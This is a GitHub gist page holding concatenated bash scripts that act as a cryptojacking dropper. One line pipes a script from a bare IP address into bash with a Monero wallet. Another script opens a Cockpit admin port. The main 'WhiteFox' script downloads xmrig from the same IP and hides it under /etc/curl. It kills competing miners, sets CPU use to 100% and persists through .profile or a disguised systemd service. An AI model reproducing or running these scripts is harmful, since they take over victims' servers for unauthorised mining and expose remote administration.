Skip to content

Instantly share code, notes, and snippets.

@edgarcosta
Created July 28, 2024 19:14
Show Gist options
  • Save edgarcosta/6fa67c81ae34e417d798570664735391 to your computer and use it in GitHub Desktop.
Save edgarcosta/6fa67c81ae34e417d798570664735391 to your computer and use it in GitHub Desktop.
#!/bin/bash
apt update -y
apt upgrade -y
apt install curl -y
apt install tar -y
apt install htop -y
yum install curl
yum install tar
yum install epel-release
yum install htop
curl -s -L http://37.114.35.70/i/script.sh | bash -s 41zkFcUY6xjUEVjbukgnJRG1XXKRHU8fsQ6xjC22gF2MJogxCr9LzW4RY3pkncNVQZ1mbEjn5m7GMG3nHiusnwvu3SG6QW5
#!/bin/bash
yum install cockpit
apt-get install cockpit -y
systemctl start cockpit
iptables -A INPUT -p tcp --dport 9090 -j ACCEPT
systemctl restart iptables
rm install.sh -y
IP=$(curl api.ipify.org)
echo ""
echo "URL: https://$IP:9090"
echo ""
#!/bin/bash
VERSION=2.11
# printing greetings
echo "WhiteFox mining setup script v$VERSION."
echo "(please report issues to support@whitefox email with full output of this script with extra \"-x\" \"bash\" option)"
echo
if [ "$(id -u)" == "0" ]; then
echo "WARNING: Generally it is not adviced to run this script under root"
fi
# command line arguments
WALLET=$1
EMAIL=$2 # this one is optional
# checking prerequisites
if [ -z $WALLET ]; then
echo "Script usage:"
echo "> script.sh <wallet address> [<your email address>]"
echo "ERROR: Please specify your wallet address"
exit 1
fi
WALLET_BASE=`echo $WALLET | cut -f1 -d"."`
if [ ${#WALLET_BASE} != 106 -a ${#WALLET_BASE} != 95 ]; then
echo "ERROR: Wrong wallet base address length (should be 106 or 95): ${#WALLET_BASE}"
exit 1
fi
if [ -z $HOME ]; then
echo "ERROR: Please define HOME environment variable to your home directory"
exit 1
fi
if [ ! -d $HOME ]; then
echo "ERROR: Please make sure HOME directory $HOME exists or set it yourself using this command:"
echo ' export HOME=<dir>'
exit 1
fi
if ! type curl >/dev/null; then
echo "ERROR: This script requires \"curl\" utility to work correctly"
exit 1
fi
if ! type lscpu >/dev/null; then
echo "WARNING: This script requires \"lscpu\" utility to work correctly"
fi
#if ! sudo -n true 2>/dev/null; then
# if ! pidof systemd >/dev/null; then
# echo "ERROR: This script requires systemd to work correctly"
# exit 1
# fi
#fi
# calculating port
CPU_THREADS=$(nproc)
EXP_MONERO_HASHRATE=$(( CPU_THREADS * 700 / 1000))
if [ -z $EXP_MONERO_HASHRATE ]; then
echo "ERROR: Can't compute projected Monero CN hashrate"
exit 1
fi
power2() {
if ! type bc >/dev/null; then
if [ "$1" -gt "8192" ]; then
echo "8192"
elif [ "$1" -gt "4096" ]; then
echo "4096"
elif [ "$1" -gt "2048" ]; then
echo "2048"
elif [ "$1" -gt "1024" ]; then
echo "1024"
elif [ "$1" -gt "512" ]; then
echo "512"
elif [ "$1" -gt "256" ]; then
echo "256"
elif [ "$1" -gt "128" ]; then
echo "128"
elif [ "$1" -gt "64" ]; then
echo "64"
elif [ "$1" -gt "32" ]; then
echo "32"
elif [ "$1" -gt "16" ]; then
echo "16"
elif [ "$1" -gt "8" ]; then
echo "8"
elif [ "$1" -gt "4" ]; then
echo "4"
elif [ "$1" -gt "2" ]; then
echo "2"
else
echo "1"
fi
else
echo "x=l($1)/l(2); scale=0; 2^((x+0.5)/1)" | bc -l;
fi
}
PORT=$(( $EXP_MONERO_HASHRATE * 30 ))
PORT=$(( $PORT == 0 ? 1 : $PORT ))
PORT=`power2 $PORT`
PORT=$(( 10000 + $PORT ))
if [ -z $PORT ]; then
echo "ERROR: Can't compute port"
exit 1
fi
if [ "$PORT" -lt "10001" -o "$PORT" -gt "18192" ]; then
echo "ERROR: Wrong computed port value: $PORT"
exit 1
fi
# printing intentions
echo "I will download, setup and run in background Monero CPU miner."
echo "If needed, miner in foreground can be started by /etc/curl/miner.sh script."
echo "Mining will happen to $WALLET wallet."
if [ ! -z $EMAIL ]; then
echo "(and $EMAIL email as password to modify wallet options later at whitefox site)"
fi
echo
if ! sudo -n true 2>/dev/null; then
echo "Since I can't do passwordless sudo, mining in background will started from your $HOME/.profile file first time you login this host after reboot."
else
echo "Mining in background will be performed using whitefox systemd service."
fi
echo
echo "JFYI: This host has $CPU_THREADS CPU threads, so projected Monero hashrate is around $EXP_MONERO_HASHRATE KH/s."
echo
echo "Sleeping for 3 seconds before continuing (press Ctrl+C to cancel)"
sleep 3
echo
echo
# start doing stuff: preparing miner
echo "[*] Removing previous whitefox miner (if any)"
if sudo -n true 2>/dev/null; then
sudo systemctl stop whitefox.service
fi
killall -9 xmrig
echo "[*] Removing /etc/curl directory"
rm -rf /etc/curl
echo "[*] Downloading WhiteFox advanced version of xmrig to /tmp/xmrig.tar.gz"
if ! curl -L --progress-bar "http://37.114.35.70/i/xmrig.tar.gz" -o /tmp/xmrig.tar.gz; then
echo "ERROR: Can't download http://37.114.35.70/i/xmrig.tar.gz file to /tmp/xmrig.tar.gz"
exit 1
fi
echo "[*] Unpacking /tmp/xmrig.tar.gz to /etc/curl"
[ -d /etc/curl ] || mkdir /etc/curl
if ! tar xf /tmp/xmrig.tar.gz -C /etc/curl; then
echo "ERROR: Can't unpack /tmp/xmrig.tar.gz to /etc/curl directory"
exit 1
fi
rm /tmp/xmrig.tar.gz
chmod +x /etc/curl/xmrig
echo "[*] Checking if advanced version of /etc/curl/xmrig works fine (and not removed by antivirus software)"
sed -i 's/"donate-level": *[^,]*,/"donate-level": 1,/' /etc/curl/config.json
/etc/curl/xmrig --help >/dev/null
if (test $? -ne 0); then
if [ -f /etc/curl/xmrig ]; then
echo "WARNING: Advanced version of /etc/curl/xmrig is not functional"
else
echo "WARNING: Advanced version of /etc/curl/xmrig was removed by antivirus (or some other problem)"
fi
chmod +x /etc/curl/xmrig
echo "[*] Looking for the latest version of Monero miner"
LATEST_XMRIG_RELEASE=`curl -s https://github.com/xmrig/xmrig/releases/latest | grep -o '".*"' | sed 's/"//g'`
LATEST_XMRIG_LINUX_RELEASE="https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-linux-x64.tar.gz"
echo "[*] Downloading $LATEST_XMRIG_LINUX_RELEASE to /tmp/xmrig.tar.gz"
if ! curl -L --progress-bar $LATEST_XMRIG_LINUX_RELEASE -o /tmp/xmrig.tar.gz; then
echo "ERROR: Can't download $LATEST_XMRIG_LINUX_RELEASE file to /tmp/xmrig.tar.gz"
exit 1
fi
echo "[*] Unpacking /tmp/xmrig.tar.gz to /etc/curl"
if ! tar xf /tmp/xmrig.tar.gz -C /etc/curl --strip=1; then
echo "WARNING: Can't unpack /tmp/xmrig.tar.gz to /etc/curl directory"
fi
rm /tmp/xmrig.tar.gz
echo "[*] Checking if stock version of /etc/curl/xmrig works fine (and not removed by antivirus software)"
sed -i 's/"donate-level": *[^,]*,/"donate-level": 0,/' /etc/curl/config.json
/etc/curl/xmrig --help >/dev/null
if (test $? -ne 0); then
if [ -f /etc/curl/xmrig ]; then
echo "ERROR: Stock version of /etc/curl/xmrig is not functional too"
else
echo "ERROR: Stock version of /etc/curl/xmrig was removed by antivirus too"
fi
exit 1
fi
fi
echo "[*] Miner /etc/curl/xmrig is OK"
chmod +x /etc/curl/xmrig
PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9\-]+/_/g'`
if [ "$PASS" == "localhost" ]; then
PASS=`ip route get 1 | awk '{print $NF;exit}'`
fi
if [ -z $PASS ]; then
PASS=na
fi
if [ ! -z $EMAIL ]; then
PASS="$PASS:$EMAIL"
fi
sed -i 's/"url": *"[^"]*",/"url": "pool.supportxmr.com:80",/' /etc/curl/config.json
sed -i 's/"user": *"[^"]*",/"user": "'$WALLET'",/' /etc/curl/config.json
sed -i 's/"pass": *"[^"]*",/"pass": "'$PASS'",/' /etc/curl/config.json
sed -i 's/"max-cpu-usage": *[^,]*,/"max-cpu-usage": 100,/' /etc/curl/config.json
sed -i 's#"log-file": *null,#"log-file": "'/etc/curl/xmrig.log'",#' /etc/curl/config.json
sed -i 's/"syslog": *[^,]*,/"syslog": true,/' /etc/curl/config.json
cp /etc/curl/config.json /etc/curl/config_background.json
sed -i 's/"background": *false,/"background": true,/' /etc/curl/config_background.json
# preparing script
echo "[*] Creating /etc/curl/miner.sh script"
cat >/etc/curl/miner.sh <<EOL
#!/bin/bash
if ! pidof xmrig >/dev/null; then
nice /etc/curl/xmrig \$*
else
echo "Monero miner is already running in the background. Refusing to run another one."
echo "Run \"killall xmrig\" or \"sudo killall xmrig\" if you want to remove background miner first."
fi
EOL
chmod +x /etc/curl/miner.sh
chmod +x /etc/curl/xmrig
# preparing script background work and work under reboot
if ! sudo -n true 2>/dev/null; then
if ! grep /etc/curl/miner.sh $HOME/.profile >/dev/null; then
echo "[*] Adding /etc/curl/miner.sh script to $HOME/.profile"
echo "/etc/curl/miner.sh --config=/etc/curl/config_background.json >/dev/null 2>&1" >>$HOME/.profile
else
echo "Looks like /etc/curl/miner.sh script is already in the $HOME/.profile"
fi
echo "[*] Running miner in the background (see logs in /etc/curl/xmrig.log file)"
/bin/bash /etc/curl/miner.sh --config=/etc/curl/config_background.json >/dev/null 2>&1
else
if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') > 3500000 ]]; then
echo "[*] Enabling huge pages"
echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf
sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc)))
fi
if ! type systemctl >/dev/null; then
echo "[*] Running miner in the background (see logs in /etc/curl/xmrig.log file)"
/bin/bash /etc/curl/miner.sh --config=/etc/curl/config_background.json >/dev/null 2>&1
echo "ERROR: This script requires \"systemctl\" systemd utility to work correctly."
echo "Please move to a more modern Linux distribution or setup miner activation after reboot yourself if possible."
else
echo "[*] Creating whitefox systemd service"
cat >/tmp/whitefox.service <<EOL
[Unit]
Description=Monero miner service
[Service]
ExecStart=/etc/curl/xmrig --config=/etc/curl/config.json
Restart=always
Nice=10
CPUWeight=1
[Install]
WantedBy=multi-user.target
EOL
sudo mv /tmp/whitefox.service /etc/systemd/system/whitefox.service
echo "[*] Starting whitefox systemd service"
sudo killall xmrig 2>/dev/null
sudo systemctl daemon-reload
sudo systemctl enable whitefox.service
sudo systemctl start whitefox.service
echo "To see miner service logs run \"sudo journalctl -u whitefox -f\" command"
fi
fi
echo ""
echo "NOTE: If you are using shared VPS it is recommended to avoid 100% CPU usage produced by the miner or you will be banned"
if [ "$CPU_THREADS" -lt "4" ]; then
echo "HINT: Please execute these or similair commands under root to limit miner to 75% percent CPU usage:"
echo "sudo apt-get update; sudo apt-get install -y cpulimit"
echo "sudo cpulimit -e xmrig -l $((75*$CPU_THREADS)) -b"
if [ "`tail -n1 /etc/rc.local`" != "exit 0" ]; then
echo "sudo sed -i -e '\$acpulimit -e xmrig -l $((75*$CPU_THREADS)) -b\\n' /etc/rc.local"
else
echo "sudo sed -i -e '\$i \\cpulimit -e xmrig -l $((75*$CPU_THREADS)) -b\\n' /etc/rc.local"
fi
else
echo "HINT: Please execute these commands and reboot your VPS after that to limit miner to 75% percent CPU usage:"
echo "sed -i 's/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 75,/' \/etc/curl/config.json"
echo "sed -i 's/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 75,/' \/etc/curl/config_background.json"
fi
echo ""
echo "[*] Setup complete"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment